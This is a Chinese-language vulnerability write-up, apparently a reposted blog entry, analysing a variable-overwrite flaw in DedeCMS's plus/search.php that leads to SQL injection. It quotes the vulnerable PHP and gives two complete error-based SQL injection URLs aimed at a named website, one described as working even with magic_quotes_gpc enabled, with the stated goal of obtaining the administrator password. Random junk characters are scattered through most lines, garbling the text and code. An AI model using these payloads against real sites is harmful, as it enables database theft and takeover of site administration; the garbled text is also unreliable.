微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.2 k/ J. S1 i) q+ w" t; P
作者: c4rp3nt3r@0x50sec.org
( l* g8 U* v; z% R5 }Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.( @" _5 {0 f8 H0 J! B: B: R
4 X4 f+ N2 o; `1 i
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.6 x8 [9 s1 J5 e4 j% m/ u
2 g3 i. m2 |4 H============
' p" o5 v8 Y, V: S( y
b0 [' L3 E. L% Y; q6 ~4 C( `4 u
/ p) A8 F; @! m, i$ |Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.4 Z2 @+ [0 I3 G- {% L; _* Z
9 r/ ^$ ^6 p$ B ~
require_once(dirname(__FILE__).”/../include/common.inc.php”);
# B) X, c8 ]" n, ?+ R! l- rrequire_once(DEDEINC.”/arc.searchview.class.php”);
' r* i% N9 {9 z+ V6 P' p1 E5 v1 H
6 B2 Q" {- e: Z9 F9 I$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
5 u O1 ^0 C# n+ t$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;% W' h. {1 g2 s9 z5 A
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;+ ~/ z3 z6 c& E$ b/ H# g
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
$ b- ]5 _* q( c$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
( b0 Y# _) D% w1 Z0 m- h8 P 5 m% n) b7 Y4 U" _7 x/ D' m
if(!isset($orderby)) $orderby=”;
0 r0 g' I o4 i! b& Zelse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
5 C, v( i0 J% \8 o: Q
4 F* t \% z/ e
- E- i# l7 g. y% P5 d$ xif(!isset($searchtype)) $searchtype = ‘titlekeyword’;; Q! e* u& I) k) ^) t+ F5 n
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);! W, a! W \( x$ u/ I
. o! \5 H8 [7 P6 \9 n) Q2 {! \if(!isset($keyword)){
$ K: y4 h0 N, f' N if(!isset($q)) $q = ”;
% i5 E, m" S) I $keyword=$q;
3 D3 m, f7 t5 q/ Z7 o}8 _0 A4 H& U$ h- D1 {$ q7 y8 I
6 b2 W+ H6 K$ n8 @1 L% P" L
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));# K, @4 |' W. G C) G- u2 c
3 P! C+ V8 S$ W6 N8 Y+ `//查找栏目信息
) U2 y) j# W+ V# O+ u+ D3 Bif(empty($typeid))! N$ E# p3 o) t% {
{
" J: }! d3 I" j3 I4 C4 _* X4 t $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
' R4 v5 [5 l( ~' L. _ l' Y8 B if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
- n; I$ K2 {, d9 F {" ~ N8 I/ x$ x/ K) f$ t0 ^6 m
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
2 i; f5 {$ E: l$ W; Z2 ^/ ]- f fwrite($fp, “<”.”?php\r\n”);' D/ Q M# c% @3 W% D4 s8 n+ O; G% c
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);5 Z- ^) X! f3 x3 m1 Y: c# C
$dsql->Execute();
3 S: q5 u' ?9 e1 E9 N" c while($row = $dsql->GetArray())) L2 M. S a) W
{# R- ~; L& ?# L
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);. H8 J$ W% ?8 r
}( W" p+ u P7 i$ r& e& Y
fwrite($fp, ‘?’.'>’);3 I# K+ Y4 N4 q& `: I
fclose($fp);
" c, |3 z5 L- l8 w6 a( J }
" ?" G% T2 w; D. F //引入栏目缓存并看关键字是否有相关栏目内容
+ ?+ I ?7 z% m) f$ [3 C require_once($typenameCacheFile);
& w5 d% Q s% f6 c0 t//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
. r7 n! l: t2 e//
" G9 h3 L) ^" N% N5 _ if(isset($typeArr) && is_array($typeArr))% ~$ a! _5 `1 r6 Z
{% ^' Q6 z! c: I9 W0 w
foreach($typeArr as $id=>$typename)! f' S$ O: {% p# R+ j
{
' s3 W- r* P( D! K- B- H
. j; X. ^+ n" @; H <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过3 G: K* E9 p# V4 t, x# y
if($keyword != $keywordn)
5 ]3 L; M0 `6 Q B6 A {+ c: @5 S0 U0 ]% A; t
$keyword = $keywordn;
& a- H0 ?& b- ]; t5 U <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设2 {; X3 P' Z$ V# f) g* `( s7 z
break;, z1 D6 @) i5 d* L( s
}
2 q8 I9 O# L4 q5 u8 d }
+ O4 y; D: |" r% J. }% _ }& p0 `0 W- S& K- \" X
}
6 M! b7 J- r6 F+ X7 _5 d: @然后plus/search.php文件下面定义了一个 Search类的对象 .
( p4 F9 ~2 x+ K5 V9 @8 E在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类./ D5 O# [: B, |$ e1 s6 Z' ~) R. t7 D' Y
$this->TypeLink = new TypeLink($typeid);7 O7 P- {% Q' K E% Z' T- q
6 J" A9 f1 S3 i r- y
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.- [# s5 J$ A2 c* k) u3 i
" N+ X! u) V1 `class TypeLink0 }+ p$ V" x- v& I# m
{
& g) {4 F( l' s var $typeDir;0 T( _( o$ O- R/ Z+ u
var $dsql;9 e3 N% i; p" y( `5 H% s: y3 u
var $TypeID;- |5 G( O' d9 H( L
var $baseDir;
- j' c- r! m A& H+ r( v9 r var $modDir;
0 A/ |/ n9 b, ~ A var $indexUrl;" [. _* _3 T6 j3 B
var $indexName;' X B, w# U; |# L% E
var $TypeInfos;
9 D0 N0 o7 o4 }5 t var $SplitSymbol;
+ H1 w. X& K% \) _/ x) f, i/ y var $valuePosition; t0 V7 P, O7 O5 _" s# G
var $valuePositionName;
* L2 o" ~; b/ t# W* M( P: o- s6 G var $OptionArrayList;//构造函数///////
# ]- _8 R+ ~9 H" A& n //php5构造函数
9 q9 a0 O* H- l/ k function __construct($typeid)
% L( h6 B. m' m3 k% x {+ K! C6 P! v/ r, f( @' \4 @
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];4 F; t) f) ]; u, S% u* \$ O9 w% h
$this->indexName = $GLOBALS['cfg_indexname'];
1 G7 t$ s0 c8 ?- q. p- e, B $this->baseDir = $GLOBALS['cfg_basedir'];
) k/ _# q3 J. K$ _: r& x( O! l# U $this->modDir = $GLOBALS['cfg_templets_dir'];
( b& ~* m9 O$ C" x4 _ $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];2 ~5 f) O) C4 s
$this->dsql = $GLOBALS['dsql'];7 |" S. H# u" m+ w0 X/ Q6 L
$this->TypeID = $typeid;
- L: M" J* d N1 n1 u; F( q- c) a2 u $this->valuePosition = ”;7 m3 V; w7 V6 _ g' \4 O! Y
$this->valuePositionName = ”;9 H6 ^$ w6 f7 J' G) H
$this->typeDir = ”;
5 f. c3 W- o3 A/ x $this->OptionArrayList = ”;
" t6 k9 C0 w: T( ^ y 3 x7 I# m- Q) {
//载入类目信息
. P' [! S, m# {( o4 \5 S2 ], Z& u
# @( W* w' K6 m" a <font color=”Red”>$query = “SELECT tp.*,ch.typename as
1 C: r z' n% K3 X/ jctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
( f8 B, D2 g) U* ]8 c`#@__channeltype` ch% C0 O/ Q: j& N8 c) v5 ~/ M3 t& P
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿' y/ a0 I5 s6 ^+ U3 @2 K
9 `$ }5 i8 v* u) B* n if($typeid > 0)
% o5 k7 k6 r9 u) y* B) f& @ {
! j0 g" E) \, }7 N $this->TypeInfos = $this->dsql->GetOne($query);
. t9 O) L, t- c$ \6 _8 q# Z利用代码一 需要 即使magic_quotes_gpc = Off& h( P( s6 ]% y" G4 p7 J# }8 K
1 O8 m% \. _$ G0 I. Ewww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
- [: f5 y1 H- R3 Z7 j b
( _ z# v/ L* M; F$ D8 I; n0 T这只是其中一个利用代码… Search 类的构造函数再往下6 Q$ p' s& J* ~
. W# A* X! E8 [" T+ y
……省略
( l/ z* D9 W8 w9 G% J2 s$this->TypeID = $typeid;( g( c% e( _1 @+ v4 o, S
……省略
1 c* `; j' B [2 \) s2 Y! Q u% E+ lif($this->TypeID==”0″){
" I$ c/ L# M* `) o0 w; A8 O# N4 a $this->ChannelTypeid=1;$ y6 M* H. T R8 ]3 w. i+ o! |8 o/ J
}else{$ x' W/ N3 W/ g& `% F4 h% a
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
# c; _4 Q6 A9 n; t A$ `0 x: s//现在不鸡肋了吧亲…
* ~" _" n6 \! j $this->ChannelTypeid=$row['channeltype'];+ n) z4 z2 X. v( F
m: g+ ~% u( j7 G0 G }
. ] p: O8 [& }0 R* P利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.) { k+ V+ t9 m/ s0 E
, _+ Q/ s9 q( H( P- d5 L' ?% [4 _www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title) ^5 e. l$ \ a: J2 p: [$ q
: A$ d) I9 {0 A4 l: F: b如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
1 N- T: f# I6 n |